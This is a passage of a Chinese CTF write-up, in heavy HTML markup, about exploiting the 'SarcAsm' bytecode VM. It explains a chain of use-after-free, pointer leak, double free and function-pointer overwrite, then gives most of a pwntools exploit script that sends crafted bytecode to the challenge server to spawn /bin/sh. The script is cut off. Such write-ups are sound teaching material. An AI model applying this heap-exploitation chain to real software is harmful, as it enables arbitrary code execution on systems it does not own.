Free</span></strong></p><ol style="list-style-type: decimal;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">Slice 和 Buffer 共享 data_ptr，但 GC 不知道这种关系</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">Buffer 被 GC 释放后，Slice 仍引用 data_ptr → </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">dangling pointer</span></strong></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">BUILTIN 可以复用该 chunk，通过 Slice PRINTB </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">泄露 func_ptr</span></strong></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">Slice 被 GC 再次释放同一个 data_ptr → </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">double free</span></strong></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">NEWBUF 第二次获得同一个 chunk → 通过 WRITEBUF </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">覆写 func_ptr</span></strong></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">CALL builtin → 跳转到 execve(&#34;/bin/sh&#34;)</span></p></li></ol><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">#!/usr/bin/env python3</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;</span><br/><span leaf="">SarcAsm CTF Exploit</span><br/><span leaf="">Vuln: Slice UAF → Double Free → Builtin func_ptr overwrite → shell</span><br/><span leaf="">Memory layout of data chunk (bucket 32, total malloc = 40 bytes):</span><br/><span leaf="">  [0:4]   size = 32 (header)</span><br/><span leaf="">  [4:8]   pad = 0   (header)</span><br/><span leaf="">  [8:16]  user data starts here  ← for Buffer: data[0..7]</span><br/><span leaf="">                                  ← for Builtin: func_ptr</span><br/><span leaf="">  [16:20] user data[8..11]       ← for Builtin: builtin_id</span><br/><span leaf="">  [20:40] user data[12..31]</span><br/><span leaf="">&#34;&#34;&#34;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> pwn </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> *</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> struct</span><br/><span leaf="">context.log_level = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;info&#39;</span></span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">uleb128</span></span><span style="line-height: 26px;"><span leaf="">(value)</span></span><span leaf="">:</span></span><br/><span leaf="">    result = bytearray()</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf="">:</span><br/><span leaf="">        byte = value &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7F</span></span><br/><span leaf="">        value &gt;&gt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> value:</span><br/><span leaf="">            byte |= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x80</span></span><br/><span leaf="">        result.append(byte)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> value:</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> bytes(result)</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">sleb128</span></span><span style="line-height: 26px;"><span leaf="">(value)</span></span><span leaf="">:</span></span><br/><span leaf="">    result = bytearray()</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf="">:</span><br/><span leaf="">        byte = value &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7F</span></span><br/><span leaf="">        value &gt;&gt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (value == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> (byte &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x40</span></span><span leaf="">) == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">or</span></span><span leaf=""> \</span><br/><span leaf="">           (value == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> (byte &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x40</span></span><span leaf="">) != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">):</span><br/><span leaf="">            result.append(byte)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><br/><span leaf="">            result.append(byte | </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x80</span></span><span leaf="">)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> bytes(result)</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Instructions</span></span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">PUSH</span></span><span style="line-height: 26px;"><span leaf="">(val)</span></span><span leaf="">:</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\x01&#39;</span></span><span leaf=""> + uleb128(val)</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">DUP</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\x02&#39;</span></span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">SWAP</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\x03&#39;</span></span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">DROP</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\x04&#39;</span></span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">NEWBUF</span></span><span style="line-height: 26px;"><span leaf="">(size)</span></span><span leaf="">:</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\x20&#39;</span></span><span leaf=""> + uleb128(size)</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">READ</span></span><span style="line-height: 26px;"><span leaf="">(count)</span></span><span leaf="">:</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\x21&#39;</span></span><span leaf=""> + uleb128(count)</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">SLICE</span></span><span style="line-height: 26px;"><span leaf="">(off, ln)</span></span><span leaf="">:</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\x22&#39;</span></span><span leaf=""> + uleb128(off) + uleb128(ln)</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">PRINTB</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\x23&#39;</span></span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">WRITEBUF</span></span><span style="line-height: 26px;"><span leaf="">(off,ln)</span></span><span leaf="">:</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\x25&#39;</span></span><span leaf=""> + uleb128(off) + uleb128(ln)</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">GLOAD</span></span><span style="line-height: 26px;"><span leaf="">(idx)</span></span><span leaf="">:</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\x30&#39;</span></span><span leaf=""> + uleb128(idx)</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">GSTORE</span></span><span style="line-height: 26px;"><span leaf="">(idx)</span></span><span leaf="">:</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\x31&#39;</span></span><span leaf=""> + uleb128(idx)</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">BUILTIN</span></span><span style="line-height: 26px;"><span leaf="">(id)</span></span><span leaf="">:</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\x40&#39;</span></span><span leaf=""> + uleb128(id)</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">CALL</span></span><span style="line-height: 26px;"><span leaf="">(arity)</span></span><span leaf="">:</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\x41&#39;</span></span><span leaf=""> + uleb128(arity)</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">GC</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\x60&#39;</span></span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">HALT</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\xff&#39;</span></span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">build_bytecode</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><br/><span leaf="">    code = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;&#39;</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># ========== Step 1: Create Buffer A (bucket 32) ==========</span></span><br/><span leaf="">    code += NEWBUF(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">24</span></span><span leaf="">)          </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># stack: [bufA]</span></span><br/><span leaf="">    code += DUP()               </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># stack: [bufA, bufA]</span></span><br/><span leaf="">    code += GSTORE(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">)           </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># global[2] = bufA (temp ref for SLICE)</span></span><br/><span leaf="">    code += WRITEBUF(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">24</span></span><span leaf="">)     </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Read 24 bytes stdin → bufA.data, bufA.len=24</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># stack: [] (WRITEBUF pops buf)</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># ========== Step 2: Create Slice S from Buffer A ==========</span></span><br/><span leaf="">    code += GLOAD(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">)            </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># stack: [bufA]</span></span><br/><span leaf="">    code += SLICE(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">24</span></span><span leaf="">)        </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># stack: [sliceS]  (pops bufA, creates slice)</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># sliceS.data_ptr = bufA.data_ptr = chunk1</span></span><br/><span leaf="">    code += GSTORE(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)           </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># global[0] = sliceS</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Clear bufA reference from global[2]</span></span><br/><span leaf="">    code += PUSH(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><br/><span leaf="">    code += GSTORE(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">)           </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># global[2] = 0</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># ========== Step 3: GC <a class="wx_topic_link" topic-id="mmepyaby-glrd7n" style="color: #576B95 !important;" data-topic="1">#1</a> → free Buffer A, keep Slice S ==========</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Buffer A: no references (not on stack, not in globals) → freed</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># chunk1 → free list</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Slice S: in global[0] → marked → kept alive</span></span><br/><span leaf="">    code += GC()</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># ========== Step 4: BUILTIN(1) reuses chunk1 ==========</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># alloc 32 → takes chunk1 from free list</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># chunk1+8 = func_ptr (address of sub_2EE0)</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># chunk1+16 = builtin_id (1)</span></span><br/><span leaf="">    code += BUILTIN(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)          </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># stack: [builtin]</span></span><br/><span leaf="">    code += GSTORE(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)           </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># global[1] = builtin</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># ========== Step 5: Leak func_ptr via Slice S PRINTB ==========</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Slice S.data_ptr = chunk1 (now owned by builtin!)</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># PRINTB prints slice.len(24) bytes from chunk1 + slice.offset(0) + 8</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># = chunk1+8 = [func_ptr(8 bytes) | id(4) + pad(4) | zeros(8)]</span></span><br/><span leaf="">    code += GLOAD(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)            </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># stack: [sliceS]</span></span><br/><span leaf="">    code += PRINTB()            </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># prints 24 bytes → first 8 = func_ptr leak!</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># ========== Step 6: Clear Slice S reference ==========</span></span><br/><span leaf="">    code += PUSH(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><br/><span leaf="">    code += GSTORE(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)           </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># global[0] = 0 (Slice S now unreferenced)</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># ========== Step 7: GC <a class="wx_topic_link" topic-id="mmepyaby-tcp3jm" style="color: #576B95 !important;" data-topic="1">#2</a> → Slice S freed → DOUBLE FREE chunk1 ==========</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Slice S: unmarked → sweep → sub_39F0(chunk1) → chunk1 into free list AGAIN!</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># But builtin (global[1]) is marked → NOT freed</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Result: chunk1 is in free list AND referenced by builtin</span></span><br/><span leaf="">    code += GC()</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># ========== Step 8: NEWBUF takes chunk1 from free list ==========</span></span><br/><span leaf="">    code += NEWBUF(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">24</span></span><span leaf="">)          </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># stack: [bufC]</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># bufC.data_ptr = chunk1 (same as builtin!)</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># bufC.capacity = *chunk1 = 32</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># bufC.len = 0</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># ========== Step 9: Overwrite func_ptr via WRITEBUF ==========</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># WRITEBUF(0, 8): reads 8 bytes from stdin</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># writes to chunk1 + 0 + 8 = chunk1+8 (= builtin&#39;s func_ptr!)</span></span><br/><span leaf="">    code += DUP()               </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># stack: [bufC, bufC]</span></span><br/><span leaf="">    code += WRITEBUF(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">)      </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Read 8 bytes → overwrite func_ptr!</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># stack: [] (pops bufC)</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># But we still have bufC from DUP? No...</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Wait, WRITEBUF pops the buffer. We already DUP&#39;d so one copy remains</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Actually: DUP → [bufC, bufC], WRITEBUF pops one → [bufC]</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Hmm, let me re-check. WRITEBUF does --v84 to pop.</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># After DUP: SP=2, s[0]=bufC, s[1]=bufC</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># WRITEBUF: v26 = s[--v84] = s[1] = bufC, SP=1</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># So s[0] = bufC still on stack. But we don&#39;t need it.</span></span><br/><span leaf="">    code += DROP()              </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># clean up</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># ========== Step 10: Call the corrupted builtin ==========</span></span><br/><span leaf="">    code += GLOAD(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)            </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># stack: [builtin]</span></span><br/><span leaf="">    code += CALL(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)             </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># reads func_ptr from chunk1+8 = our overwrite!</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># → calls sub_3000 → execve(&#34;/bin/sh&#34;)</span></span><br/><span leaf="">    code += HALT()</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> code</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">main</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><br/><span leaf="">    bytecode = build_bytecode()</span><br/><span leaf="">    log.info(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;Bytecode length: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{len(bytecode)}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><br/><span leaf="">    log.info(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;Bytecode: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{bytecode.hex()}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><br/><span leaf="">    r = remote(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;chall.ehax.in&#39;</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">9999</span></span><span leaf="">)</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mmepyaby-409zfu" style="color: #576B95 !important;" data-topic="1">#r</a> = process(&#39;./sarcasm&#39;)</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Send bytecode header + code</span></span><br/><span leaf="">    header = struct.pack(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&lt;I&#39;</span></span><span leaf="">, len(bytecode))</span><br/><span leaf="">    r.send(header + bytecode)</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Data 1: 24 bytes for initial WRITEBUF (fill Buffer A)</span></span><br/><span leaf="">    r.send(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;A&#39;</span></span><span leaf=""> * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">24</span></span><span leaf="">)</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Receive leak from PRINTB (24 bytes)</span></span><br/><span leaf="">    leak_data = r.recv(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">24</span></span><span leaf="">, timeout=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">)</span><br/><span leaf="">    log.info(</span><span style="color: #98c379;line-height: 